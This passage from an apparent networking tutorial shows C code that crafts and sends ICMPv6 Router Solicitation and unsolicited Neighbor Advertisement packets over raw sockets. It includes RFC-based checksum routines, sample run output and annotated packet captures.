    frame_length = ETH_DEST_MAC_LEN + ETH_SRC_MAC_LEN +
                   ETHER_TYPE_LEN + IPV6_HDRLEN + ICMPV6_RS_HDRLEN + ICMPV6_OPTION_HDLEN;

    /* Destination and Source MAC addresses */
    memcpy (ether_frame, dst_mac, ETH_DEST_MAC_LEN * sizeof (uint8_t));
    memcpy (ether_frame + ETH_SRC_MAC_OFFSET, src_mac, ETH_SRC_MAC_LEN * sizeof (uint8_t));

    /*
     * Next is ethernet type code (ETH_P_IPV6 for IPv6).
     * http://www.iana.org/assignments/ethernet-numbers
     */
    ether_frame[ETH_ETHERTYPE_LB_OFFSET] = ETH_P_IPV6 / 256;
    ether_frame[ETH_ETHERTYPE_UB_OFFSET] = ETH_P_IPV6 % 256;

    /* Next is ethernet frame data (IPv6 header + ICMPV6 header + ICMPV6 option header). */

    /* IPv6 header */
    memcpy (ether_frame + ETH_HDRLEN,
            &ipv6_hdr, IPV6_HDRLEN * sizeof (uint8_t));

    struct nd_router_solicit *ns_ptr = NULL;
    /* ICMPV6 header */
    memcpy (ether_frame + ETH_HDRLEN + IPV6_HDRLEN,
            &rs, ICMPV6_RS_HDRLEN * sizeof (uint8_t));


    /* ICMPV6 Option header */
    memcpy(ether_frame + ETH_HDRLEN + IPV6_HDRLEN + ICMPV6_RS_HDRLEN,
           icmpv6_option1, ICMPV6_OPTION_HDLEN * sizeof (uint8_t));

    /*
     * In order to update the checksum, retrieve the location of checksum
     * from the packet
     */
    ns_ptr = (struct nd_router_solicit *)(ether_frame + ETH_HDRLEN + IPV6_HDRLEN);
 
    ns_ptr->nd_rs_hdr.icmp6_cksum = icmp6_checksum(ipv6_hdr,       /* ipv6 header structure     */
                                                   rs,             /* icmpv6 RS header structure */
                                                   icmpv6_option1, /* icmpv6 options header */       
                                                   ICMPV6_OPTION_HDLEN);

    /* 
     *  Create a raw socket to put the packet on the Wire.
     */
    if ((sd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0) {
        perror("socket() failed ");
        exit (EXIT_FAILURE);
    }

    /* Send ethernet frame to socket. */
    if ((bytes = sendto(sd, ether_frame, frame_length, 0,
                        (struct sockaddr *) &device,
                        sizeof (device))) <= 0) {
        perror("sendto() failed");
        exit(EXIT_FAILURE);
    }

    /* Close socket descriptor. */
    close (sd);

    /* Free allocated memory. */
    free (src_mac);
    free (dst_mac);
    free (ether_frame);
    free (interface);
    free (multicast_icmpv6_dest_ipaddr);
    free (src_ip);

    return (EXIT_SUCCESS);
}

/* Computing the internet checksum (RFC 1071). */
/* Note that the internet checksum does not preclude collisions. */
uint16_t checksum(uint16_t *addr, int len)
{
    int count = len;
    register uint32_t sum = 0;
    uint16_t answer = 0;

    /* Sum up 2-byte values until none or only one byte left. */
    printf("The are bytes from the packets for calculating the checksum:\n");
    printf("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\n");
    while (count > 1) {
        printf("%x ", htons(*addr));
        sum += *(addr++);
        count -= 2;
    }
    printf("\n@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\n");
    printf("\n");

    /* Add left-over byte, if any. */
    if (count > 0) {
        sum += *(uint8_t *)addr;
    }

    /*
     * Fold 32-bit sum into 16 bits; we lose information by doing this,
     * increasing the chances of a collision.
     * sum = (lower 16 bits) + (upper 16 bits shifted right 16 bits)
    */
    while (sum >> 16) {
        sum = (sum & 0xffff) + (sum >> 16);
    }

    printf("sum: %x\n", sum);

    /* Checksum is one's compliment of sum. */
    answer = ~sum;
    printf("1's complement of sum is answer(Final Checksum): %x\n", answer);

    return (answer);
}

/* Build IPv6 ICMP pseudo-header and call checksum function (Section 8.1 of RFC 2460). */
uint16_t icmp6_checksum (struct ip6_hdr ipv6_hdr,
                         struct nd_router_solicit nd,
                         uint8_t *payload, int payloadlen)
{
    char buf[IP_MAXPACKET] = {0};
    char *ptr = NULL;
    int chksumlen = 0;
    int i = 0;

    /* ptr points to beginning of buffer buf */
    ptr = &buf[0];

    /* Copy source IP address into buf (128 bits) */
    memcpy (ptr, &ipv6_hdr.ip6_src.s6_addr, sizeof (ipv6_hdr.ip6_src.s6_addr));
    ptr += sizeof (ipv6_hdr.ip6_src);
    chksumlen += sizeof (ipv6_hdr.ip6_src);

    /* Copy destination IP address into buf (128 bits) */
    memcpy (ptr, &ipv6_hdr.ip6_dst.s6_addr, sizeof (ipv6_hdr.ip6_dst.s6_addr));
    ptr += sizeof (ipv6_hdr.ip6_dst.s6_addr);
    chksumlen += sizeof (ipv6_hdr.ip6_dst.s6_addr);

    /* 
     * Copy Upper Layer Packet length into buf (32 bits).
     * Should not be greater than 65535 (i.e., 2 bytes).
     */
    *ptr = 0; ptr++;
    *ptr = 0; ptr++;
    *ptr = (ICMPV6_RS_HDRLEN + payloadlen) / 256;
    ptr++;
    *ptr = (ICMPV6_RS_HDRLEN + payloadlen) % 256;
    ptr++;
    chksumlen += 4;

    /* Copy zero field to buf (24 bits) */
    *ptr = 0; ptr++;
    *ptr = 0; ptr++;
    *ptr = 0; ptr++;
    chksumlen += 3;

    /* Copy next header field to buf (8 bits) */
    memcpy (ptr, &ipv6_hdr.ip6_nxt, sizeof (ipv6_hdr.ip6_nxt));
    ptr += sizeof (ipv6_hdr.ip6_nxt);
    chksumlen += sizeof (ipv6_hdr.ip6_nxt);

    /* Copy ICMPv6 type to buf (8 bits) */
    memcpy (ptr, &nd.nd_rs_hdr.icmp6_type, sizeof (nd.nd_rs_hdr.icmp6_type));
    ptr += sizeof (nd.nd_rs_hdr.icmp6_type);
    chksumlen += sizeof (nd.nd_rs_hdr.icmp6_type);

    /* Copy ICMPv6 code to buf (8 bits) */
    memcpy (ptr, &nd.nd_rs_hdr.icmp6_code, sizeof (nd.nd_rs_hdr.icmp6_code));
    ptr += sizeof (nd.nd_rs_hdr.icmp6_code);
    chksumlen += sizeof (nd.nd_rs_hdr.icmp6_code);

    /* Copy ICMPv6 ID to buf (16 bits) */
    memcpy (ptr, &nd.nd_rs_hdr.icmp6_id, sizeof (nd.nd_rs_hdr.icmp6_id));
    ptr += sizeof (nd.nd_rs_hdr.icmp6_id);
    chksumlen += sizeof (nd.nd_rs_hdr.icmp6_id);

    /* Copy ICMPv6 sequence number to buff (16 bits) */
    memcpy (ptr, &nd.nd_rs_hdr.icmp6_seq, sizeof (nd.nd_rs_hdr.icmp6_seq));
    ptr += sizeof (nd.nd_rs_hdr.icmp6_seq);
    chksumlen += sizeof (nd.nd_rs_hdr.icmp6_seq);

    /*
     * Copy ICMPv6 checksum to buf (16 bits)
     * Zero, since we don't know it yet.
     */
    *ptr = 0; ptr++;
    *ptr = 0; ptr++;
    chksumlen += 2;

    /* Copy ICMPv6 payload to buf */
    memcpy (ptr, payload, payloadlen * sizeof (uint8_t));
    ptr += payloadlen;
    chksumlen += payloadlen;

    /* Pad to the next 16-bit boundary */
    for (i=0; i<payloadlen%2; i++, ptr++) {
        *ptr = 0;
        ptr += 1;
        chksumlen += 1;
    }

    return checksum ((uint16_t *) buf, chksumlen);
}

/*
 * Allocate memory for an array of chars.
 */
char *allocate_strmem(int len)
{
    void *tmp = NULL;

    if (len <= 0) {
        fprintf (stderr, "ERROR: Cannot allocate memory because len = %i in allocate_strmem().\n", len);
        exit (EXIT_FAILURE);
    }

    tmp = (char *) malloc (len * sizeof (char));
    if (tmp != NULL) {
        memset (tmp, 0, len * sizeof (char));
        return (tmp);
    } else {
        fprintf (stderr, "ERROR: Cannot allocate memory for array allocate_strmem().\n");
        exit (EXIT_FAILURE);
    }
}

/* Allocate memory for an array of unsigned chars. */
uint8_t *allocate_ustrmem(int len)
{
    void *tmp = NULL;

    if (len <= 0) {
        fprintf (stderr, "ERROR: Cannot allocate memory because len = %i in allocate_ustrmem().\n", len);
        exit (EXIT_FAILURE);
    }

    tmp = (uint8_t *) malloc (len * sizeof (uint8_t));
    if (tmp != NULL) {
        memset (tmp, 0, len * sizeof (uint8_t));
        return (tmp);
    } else {
        fprintf (stderr, "ERROR: Cannot allocate memory for array allocate_ustrmem().\n");
        exit (EXIT_FAILURE);
    }
}

C Program on ICMPv6 Neighbor Advertizement (unsolicited) Message

C Program on implementing ICMPv6 Neighbor Advertisement Message using Raw sockets

How to use the binary:

Neelkanth $sudo ./a.out  
Invalid input : 1
Help section
=====================================
Enter 5 arguments:
1. Outgoing Interface Name
2. Source IPV6 Address
3. ICMPV6 Target IP Address

Neelkanth $sudo ./a.out  wlp4s0 fe80::ad6:3956:56b0:97d7 fe80::1
MAC address for interface wlp4s0 is 7c:b0:c2:19:8e:f8
Index for interface wlp4s0 is 3
Destination IPV6 address derived from target: fe80::ad6:3956:56b0:97d7
The are bytes from the packets for calculating the checksum:
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
fe80 0 0 0 ad6 3956 56b0 97d7 ff02 0 0 0 0 0 0 1 0 20 0 3a 8800 a000 0 fe80 0 0 0 ad6 3956 56b0 97d7 0 201 7cb0 c219 8ef8 
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
sum: 8d59
1's complement of sum is answer(Final Checksum): a672

#####################################################

C Program Start here...

#####################################################


/*
 *##############################################################################################
 *
 *         ICMPv6 Neighbor Advertisement Unsolicited Message C program  
 *
 *##############################################################################################
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>           /* close() */
#include <string.h>           /* strcpy, memset(), and memcpy() */

#include <netdb.h>            /* struct addrinfo */
#include <sys/types.h>        /* needed for socket(), uint8_t, uint16_t */
#include <sys/socket.h>       /* needed for socket() */
#include <netinet/in.h>       /* IPPROTO_ICMPV6, INET6_ADDRSTRLEN */
#include <netinet/ip.h>       /* IP_MAXPACKET (which is 65535) */
#include <netinet/ip6.h>      /* struct ip6_hdr */
#include <netinet/icmp6.h>    /* struct icmp6_hdr and ICMP6_ECHO_REQUEST */
#include <arpa/inet.h>        /* inet_pton() and inet_ntop() */
#include <sys/ioctl.h>        /* macro ioctl is defined */
#include <bits/ioctls.h>      /* defines values for argument "request" of ioctl. */
#include <net/if.h>           /* struct ifreq */
#include <linux/if_ether.h>   /* ETH_P_IP = 0x0800, ETH_P_IPV6 = 0x86DD */
#include <linux/if_packet.h>  /* struct sockaddr_ll (see man 7 packet) */
#include <net/ethernet.h>

#include <errno.h>            /* errno, perror() */

/* Various Header Lengths  */
#define ETH_HDRLEN            14      /* Ethernet header length */
#define IPV6_HDRLEN           40      /* IPv6 header length */
#define ICMPV6_HDRLEN         24      /* ICMPv6 header length for neighbor advertisement unsolicited */
#define ICMPV6_OPTION_HDLEN    8      /* ICMPv6 option header length for neighbor advertisement unsolicited */

/* 
 * Function prototypes
 */
uint16_t checksum(uint16_t *, int);
uint16_t icmp6_checksum(struct ip6_hdr, 
                        struct nd_neighbor_advert, 
                        uint8_t *,
                        int);
char    *allocate_strmem(int);
uint8_t *allocate_ustrmem(int);

/*
 *#####################################################################################
 *                            MAIN FUNCTION STARTS HERE
 *#####################################################################################
 */
int main (int argc, char **argv)
{
    int i, status, frame_length, sd, bytes;
    char *interface = NULL, 
         *target    = NULL, 
         *src_ip    = NULL, 
         *dst_ip    = NULL;

    uint8_t *src_mac     = NULL, 
            *ether_frame = NULL;

    uint8_t *multicast_dest_mac_in_bytes = NULL;
    struct addrinfo hints, *res;
    struct sockaddr_in6 *ipv6;
    struct sockaddr_in6 icmpv6_target_ipv6_address;
    struct sockaddr_ll device;
    struct ifreq ifr;
    void *tmp = NULL;
    char multicast_dest_mac_in_str[24] = {0};    
    char *ipv6_header_dest_ip_addr = NULL;

    /*
     * Structures for ipv6 , icmpv6 Neighbor Advertisement and
     * icmpv6 options header.
     */
    struct ip6_hdr ipv6_hdr;
    struct icmp6_hdr icmphdr;
    struct nd_neighbor_advert na;
    unsigned char icmpv6_option1[ICMPV6_OPTION_HDLEN]={0};    

    /*
     * argv[1]: Outgoing interface
     * argv[2]: source ipv6 address
     * argv[3]: destination ipv6 address
     */
    if (argc != 4) {
        printf("Invalid input : %d\n", argc);
        printf("Help section\n"
                "=====================================\n"
                "Enter 3 arguments:\n"
                "1. Outgoing Interface Name\n"
                "2. Source IPV6 Address\n"
                "3. ICMPV6 Target IP Address\n"
              );
        printf("Input Arguments: %s %s %s\n",
               argv[1], argv[2], argv[3]);
        return -1;
    }

    /* 
     * Allocate memory for various arrays.
     */
    src_mac = allocate_ustrmem(6);
    multicast_dest_mac_in_bytes = allocate_ustrmem(6);
    ether_frame = allocate_ustrmem(IP_MAXPACKET);
    interface   = allocate_strmem(40);
    target = allocate_strmem(INET6_ADDRSTRLEN);
    src_ip = allocate_strmem(INET6_ADDRSTRLEN);
    dst_ip = allocate_strmem(INET6_ADDRSTRLEN);
    ipv6_header_dest_ip_addr = allocate_strmem(INET6_ADDRSTRLEN);

    /*
     *****************************************************************************
     *   INTERFACE, SOURCE IPV6 ADDRESS, DESTINATION IPV6 ADDRESS, 
     *   DESTINATION MAC ADDRESS  AND SOURCE MAC ADDRESS
     *****************************************************************************
     * */
    /* Interface to send packet through.  */
    strcpy(interface, argv[1]);

    /* Source IPv6 address: you need to fill this out */
    strcpy(src_ip, argv[2]);

    /*
     *  Destination IPv6 address either:
     *  1) unicast address of node which sent solicitation, or if the
     *  solicitation came from the unspecified address (::), use the
     *  2) IPv6 "all nodes" link-local multicast address (ff02::1).
     *  You need to fill this out.
     *  ipv6 address to be programmed in IPV6 header--> all nodes link local multicast address  
     */
    strcpy(ipv6_header_dest_ip_addr, "ff02::1");

    /* ICMPV6 target ip address.. is the link local ip address of the router  */
    strcpy (target, argv[3]);

    /* ethernet header ipv6 destination multicast MAC */
    strcpy(multicast_dest_mac_in_str, "33:33:00:00:00:01");
    sscanf(multicast_dest_mac_in_str, "%x:%x:%x:%x:%x:%x", 
           (unsigned int *)&multicast_dest_mac_in_bytes[0],
           (unsigned int *)&multicast_dest_mac_in_bytes[1],
           (unsigned int *)&multicast_dest_mac_in_bytes[2],
           (unsigned int *)&multicast_dest_mac_in_bytes[3],
           (unsigned int *)&multicast_dest_mac_in_bytes[4],
           (unsigned int *)&multicast_dest_mac_in_bytes[5]);

    /******************************************************************************/

    /* Submit request for a socket descriptor to look up interface.  */
    if ((sd = socket(PF_PACKET, SOCK_RAW, htons (ETH_P_ALL))) < 0) {
        perror ("socket() failed to get socket descriptor for using ioctl() ");
        exit (EXIT_FAILURE);
    }

    /* Use ioctl() to look up interface name and get its MAC address.  */
    memset(&ifr, 0, sizeof(ifr));
    snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", interface);
    if (ioctl(sd, SIOCGIFHWADDR, &ifr) < 0) {
        perror("ioctl() failed to get source MAC address ");
        return (EXIT_FAILURE);
    }
    close (sd);

    /* Copy source MAC address.  */
    memcpy(src_mac, ifr.ifr_hwaddr.sa_data, 6 * sizeof (uint8_t));
    /* 
     * Print Source MAC address of source interface from which the 
     * packet will go out. 
     */
    printf("MAC address for interface %s is ", interface);
    for (i=0; i<5; i++) {
        printf("%02x:", src_mac[i]);
    }
    printf("%02x\n", src_mac[5]);

    /* 
     * Find interface index from interface name and store index in
     * struct sockaddr_ll device, 
     * which will be used as an argument of sendto().
     */
    memset(&device, 0, sizeof (device));
    if ((device.sll_ifindex = if_nametoindex (interface)) == 0) {
        perror ("if_nametoindex() failed to obtain interface index ");
        exit (EXIT_FAILURE);
    }
    printf ("Index for interface %s is %i\n", interface, device.sll_ifindex);


    /*
     * THIS IS ONLY NEEDED WHEN TARGET IS URL AND NOT IP ADDRESS. IN THAT CASE,
     * IP ADDRESS OF THE DESTINATION IS DERIVED USING 'getaddrinfo() API 
     */
    /* Fill out hints for getaddrinfo(). */
    memset (&hints, 0, sizeof (hints));
    hints.ai_family = AF_INET6;
    hints.ai_socktype = SOCK_STREAM;
    hints.ai_flags = hints.ai_flags | AI_CANONNAME;
    /*  Resolve target using getaddrinfo().  */
    if ((status = getaddrinfo (src_ip, NULL, &hints, &res)) != 0) {
        fprintf (stderr, "getaddrinfo() failed: %s\n", gai_strerror (status));
        exit (EXIT_FAILURE);
    }
    
    memset(&icmpv6_target_ipv6_address, '\0', sizeof(icmpv6_target_ipv6_address));
    memcpy(&icmpv6_target_ipv6_address, res->ai_addr, res->ai_addrlen);

    ipv6 = (struct sockaddr_in6 *)res->ai_addr;
    tmp = &(ipv6->sin6_addr);
    if (inet_ntop (AF_INET6, tmp, dst_ip, INET6_ADDRSTRLEN) == NULL) {
        status = errno;
        fprintf (stderr, "inet_ntop() failed.\nError message: %s", strerror (status));
        exit (EXIT_FAILURE);
    }
    freeaddrinfo (res);
    printf("Destination IPV6 address derived from target: %s\n", dst_ip);    

   /* 
    *#################################################################################
    *          THE ACTUAL ICMPV6 PACKET HEADER FORMATION BEGINS FROM THIS PLACE
    *#################################################################################
    */
    /* Fill out sockaddr_ll.   */
    device.sll_family = AF_PACKET;
    memcpy (device.sll_addr, src_mac, 6 * sizeof (uint8_t));
    device.sll_halen = 6;

    /*
     * Frame 10635: 86 bytes on wire (688 bits), 86 bytes captured (688 bits) on interface 0
        Interface id: 0 (wlp4s0)
        Interface name: wlp4s0

       @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
       @                                 L2 Ethernet header
       @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
       Ethernet II, Src: IntelCor_19:8e:f8 (7c:b0:c2:19:8e:f8), Dst: IPv6mcast_01 (33:33:00:00:00:01)
        Destination: IPv6mcast_01 (33:33:00:00:00:01)
        Address: IPv6mcast_01 (33:33:00:00:00:01)
        .... ..1. .... .... .... .... = LG bit: Locally administered address (this is NOT the factory default)
        .... ...1 .... .... .... .... = IG bit: Group address (multicast/broadcast)
        Source: IntelCor_19:8e:f8 (7c:b0:c2:19:8e:f8)
        Address: IntelCor_19:8e:f8 (7c:b0:c2:19:8e:f8)
        .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
        .... ...0 .... .... .... .... = IG bit: Individual address (unicast)
        Type: IPv6 (0x86dd)
       @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
       @                                 L3 IPV6 header  
       @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
       Internet Protocol Version 6, Src: fe80::ad6:3956:56b0:97d7, Dst: ff02::1
        0110 .... = Version: 6
        .... 0000 0000 .... .... .... .... .... = Traffic Class: 0x00 (DSCP: CS0, ECN: Not-ECT)
        .... 0000 00.. .... .... .... .... .... = Differentiated Services Codepoint: Default (0)
        .... .... ..00 .... .... .... .... .... = Explicit Congestion Notification: Not ECN-Capable Transport (0)
        .... .... .... 0000 0000 0000 0000 0000 = Flow Label: 0x00000
        Payload Length: 32
       @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
       @                                 ICMPV6 header   (24 bytes) 
       @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
       Next Header: ICMPv6 (58)
        Hop Limit: 255
        Source: fe80::ad6:3956:56b0:97d7
        Destination: ff02::1
        Internet Control Message Protocol v6
        Type: Neighbor Advertisement (136)
        Code: 0
        Checksum: 0xa672 [correct]
        [Checksum Status: Good]
        Flags: 0xa0000000, Router, Override
        1... .... .... .... .... .... .... .... = Router: Set
        .0.. .... .... .... .... .... .... .... = Solicited: Not set
        ..1. .... .... .... .... .... .... .... = Override: Set
        ...0 0000 0000 0000 0000 0000 0000 0000 = Reserved: 0
        Target Address: fe80::ad6:3956:56b0:97d7
       @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
       @                                 ICMPV6 option header  (8 bytes) 
       @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
       ICMPv6 Option (Target link-layer address : 7c:b0:c2:19:8e:f8)
        Type: Target link-layer address (2)
        Length: 1 (8 bytes)
        Link-layer address: IntelCor_19:8e:f8 (7c:b0:c2:19:8e:f8)
    */

    /*                            IPV6 HEADER                     */
    /*  
     * 0 and 1)  IPv6 version (4 bits), Traffic class (8 bits), Flow label (20 bits)  = [32 bits or 4 bytes]
     * 2) Payload length = ICMP header(24 bytes) + ICMP option header(8 bytes)        =  [32 bytes]
     * 3) Next header (8 bits): 58 for ICMP                                           = [1 byte]
     * 4) Hop limit (8 bits): default to maximum value                                = [1 byte] 
     * 5) Source IPv6 address (128 bits)                                              = [16 bytes] 
     * 6) Destination IPv6 address (128 bits)                                          = [16 bytes]
     */
    ipv6_hdr.ip6_flow = htonl ((6 << 28) | (0 << 20) | 0);
    ipv6_hdr.ip6_plen = htons(ICMPV6_HDRLEN + ICMPV6_OPTION_HDLEN);
    ipv6_hdr.ip6_nxt = IPPROTO_ICMPV6;
    ipv6_hdr.ip6_hops = 255;
    if ((status = inet_pton(AF_INET6, src_ip, &(ipv6_hdr.ip6_src))) != 1) {
        fprintf (stderr, "inet_pton() failed.\nError message: %s", strerror (status));
        exit (EXIT_FAILURE);
    }
    if ((status = inet_pton(AF_INET6, ipv6_header_dest_ip_addr, &(ipv6_hdr.ip6_dst))) != 1) {
        fprintf (stderr, "inet_pton() failed.\nError message: %s", strerror (status));
        exit (EXIT_FAILURE);
    }


    /*                   IPMPV6 HEADER                    */
    /*  Populate icmp6_hdr portion of neighbor advertisement struct. */
    memset(&na, 0, sizeof(na));
    na.nd_na_hdr.icmp6_type  = ND_NEIGHBOR_ADVERT;   /* 136 (RFC 4861) */
    na.nd_na_hdr.icmp6_code  = 0;                    /* zero for neighbor solicitation (RFC 4861) */
    na.nd_na_hdr.icmp6_cksum = htons(0);            /* zero when calculating checksum */

    /*  Set R/S/O flags as: R=1, S=1, O=1. Set reserved to zero (RFC 4861) */
    na.nd_na_flags_reserved = htonl((1 << 31) + (1 << 29));
    na.nd_na_target = icmpv6_target_ipv6_address.sin6_addr;      /* Target address (NOT MULTICAST) (as type in6_addr) */

    /*                   ICMPV6 OPTIONS HEADER                 */
    icmpv6_option1[0] = 2;                        /* Option Type - "Target link layer address" (Section 4.6 of RFC 4861) */
    icmpv6_option1[1] = ICMPV6_OPTION_HDLEN/8;    /* Option Length - units of 8 octets (RFC 4861) */
    for (i = 0; i < 6; i++) {
        icmpv6_option1[i+2] = (uint8_t) src_mac[i];
    }

    /* 
     * Ethernet frame header.
     */

    #define ETH_DEST_MAC_OFFSET       0
    #define ETH_DEST_MAC_LEN          6    
    #define ETH_SRC_MAC_OFFSET        (ETH_DEST_MAC_OFFSET + ETH_DEST_MAC_LEN)
    #define ETH_SRC_MAC_LEN           6
    #define ETH_ETHERTYPE_LB_OFFSET   (ETH_SRC_MAC_OFFSET + ETH_SRC_MAC_LEN)
    #define ETH_ETHERTYPE_UB_OFFSET   (ETH_ETHERTYPE_LB_OFFSET + 1)
    #define ETHER_TYPE_LEN            2

    /* 
     * Ethernet frame length = 
     * ethernet header (MAC + MAC + ether type) + IP6 header + ICMPV6 header + ICMPV6 OPTIONS header
     */
    frame_length = ETH_DEST_MAC_LEN + ETH_SRC_MAC_LEN + 
                   ETHER_TYPE_LEN + IPV6_HDRLEN + ICMPV6_HDRLEN + ICMPV6_OPTION_HDLEN;

    /* Destination and Source MAC addresses */
    memcpy (ether_frame, multicast_dest_mac_in_bytes, ETH_DEST_MAC_LEN * sizeof (uint8_t));
    memcpy (ether_frame + ETH_SRC_MAC_OFFSET, src_mac, ETH_SRC_MAC_LEN * sizeof (uint8_t));

    /* 
     * Next is ethernet type code (ETH_P_IPV6 for IPv6).
     * http://www.iana.org/assignments/ethernet-numbers
     */
    ether_frame[ETH_ETHERTYPE_LB_OFFSET] = ETH_P_IPV6 / 256;
    ether_frame[ETH_ETHERTYPE_UB_OFFSET] = ETH_P_IPV6 % 256;

    /* Next is ethernet frame data (IPv6 header + ICMPV6 header + ICMPV6 option header). */

    /* IPv6 header */
    memcpy (ether_frame + ETH_HDRLEN, 
            &ipv6_hdr, IPV6_HDRLEN * sizeof (uint8_t));

    struct nd_neighbor_advert *ns_ptr = NULL;
    /* ICMPV6 header */
    memcpy (ether_frame + ETH_HDRLEN + IPV6_HDRLEN, 
            &na, ICMPV6_HDRLEN * sizeof (uint8_t));


    /* ICMPV6 Option header */
    memcpy(ether_frame + ETH_HDRLEN + IPV6_HDRLEN + ICMPV6_HDRLEN, 
           icmpv6_option1, ICMPV6_OPTION_HDLEN * sizeof (uint8_t));

    /* 
     * In order to update the checksum, retrieve the location of checksum 
     * from the packet 
     */
    ns_ptr = (struct nd_neighbor_advert *)(ether_frame + ETH_HDRLEN + IPV6_HDRLEN);
    ns_ptr->nd_na_hdr.icmp6_cksum = icmp6_checksum(ipv6_hdr,       /* ip header structure     */ 
                                                   na,             /* icmpv6 NA header structure */
                                                   icmpv6_option1, /* icmpv6 options header */        
                                                   ICMPV6_OPTION_HDLEN);

    /*  
     *  Create a raw socket to put the packet on the Wire. 
     */
    if ((sd = socket(PF_PACKET, SOCK_RAW, htons (ETH_P_ALL))) < 0) {
        perror ("socket() failed ");
        exit (EXIT_FAILURE);
    }

    /* Send ethernet frame to socket. */
    if ((bytes = sendto (sd, ether_frame, frame_length, 
                         0, (struct sockaddr *) &device, 
                         sizeof (device))) <= 0) {
        perror ("sendto() failed");
        exit (EXIT_FAILURE);
    }

    /* Close socket descriptor. */
    close (sd);

    /* Free allocated memory. */
    free (src_mac);
    free (multicast_dest_mac_in_bytes);
    free (ether_frame);
    free (interface);
    free (target);
    free (src_ip);
    free (dst_ip);
    free (ipv6_header_dest_ip_addr);

    return (EXIT_SUCCESS);
}

/* 
 * Computing the internet checksum (RFC 1071).
 * Note that the internet checksum does not preclude collisions.
 */
uint16_t checksum (uint16_t *addr, int len)
{
    int count = len;
    register uint32_t sum = 0;
    uint16_t answer = 0;

    /* Sum up 2-byte values until none or only one byte left. */
    printf("The are bytes from the packets for calculating the checksum:\n");
    printf("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\n");
    while (count > 1) {
        printf("%x ", htons(*addr));
        sum += *(addr++);
        count -= 2;
    }
    printf("\n@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\n");

    /* Add left-over byte, if any. */
    if (count > 0) {
        sum += *(uint8_t *) addr;
    }

    /* 
     * Fold 32-bit sum into 16 bits; we lose information by doing this,
     * increasing the chances of a collision.
     * sum = (lower 16 bits) + (upper 16 bits shifted right 16 bits)
     */
    while (sum >> 16) {
        sum = (sum & 0xffff) + (sum >> 16);
    }
    printf("sum: %x\n", sum);

    /* Checksum is one's compliment of sum. */
    answer = ~sum;
    printf("1's complement of sum is answer(Final Checksum): %x\n", htons(answer));

    return (answer);
}

/* 
 * Build IPv6 ICMP pseudo-header and call checksum function 
 * (Section 8.1 of RFC 2460).
 */
uint16_t icmp6_checksum (struct ip6_hdr ipv6_hdr, 
                         struct nd_neighbor_advert na, 
                         uint8_t *payload, 
                         int payloadlen)
{
    char buf[IP_MAXPACKET];
    char *ptr = NULL;
    int chksumlen = 0;
    int i;

    /* ptr points to beginning of buffer buf */
    ptr = &buf[0];  

    /* Copy source IP address into buf (128 bits) */
    memcpy (ptr, &ipv6_hdr.ip6_src.s6_addr, sizeof (ipv6_hdr.ip6_src.s6_addr));
    ptr += sizeof (ipv6_hdr.ip6_src);
    chksumlen += sizeof (ipv6_hdr.ip6_src);

    /* Copy destination IP address into buf (128 bits) */
    memcpy (ptr, &ipv6_hdr.ip6_dst.s6_addr, sizeof (ipv6_hdr.ip6_dst.s6_addr));
    ptr += sizeof (ipv6_hdr.ip6_dst.s6_addr);
    chksumlen += sizeof (ipv6_hdr.ip6_dst.s6_addr);

    /* 
     * Copy Upper Layer Packet length into buf (32 bits).
     * Should not be greater than 65535 (i.e., 2 bytes).
     */ 
    *ptr = 0; ptr++;
    *ptr = 0; ptr++;
    *ptr = (ICMPV6_HDRLEN + payloadlen) / 256;
    ptr++;
    *ptr = (ICMPV6_HDRLEN + payloadlen) % 256;
    ptr++;
    chksumlen += 4;

    /* Copy zero field to buf (24 bits) */
    *ptr = 0; ptr++;
    *ptr = 0; ptr++;
    *ptr = 0; ptr++;
    chksumlen += 3;

    /* Copy next header field to buf (8 bits) */
    memcpy (ptr, &ipv6_hdr.ip6_nxt, sizeof (ipv6_hdr.ip6_nxt));
    ptr += sizeof (ipv6_hdr.ip6_nxt);
    chksumlen += sizeof (ipv6_hdr.ip6_nxt);

    /* Copy ICMPv6 type to buf (8 bits) */
    memcpy (ptr, &na.nd_na_hdr.icmp6_type, sizeof (na.nd_na_hdr.icmp6_type));
    ptr += sizeof (na.nd_na_hdr.icmp6_type);
    chksumlen += sizeof (na.nd_na_hdr.icmp6_type);

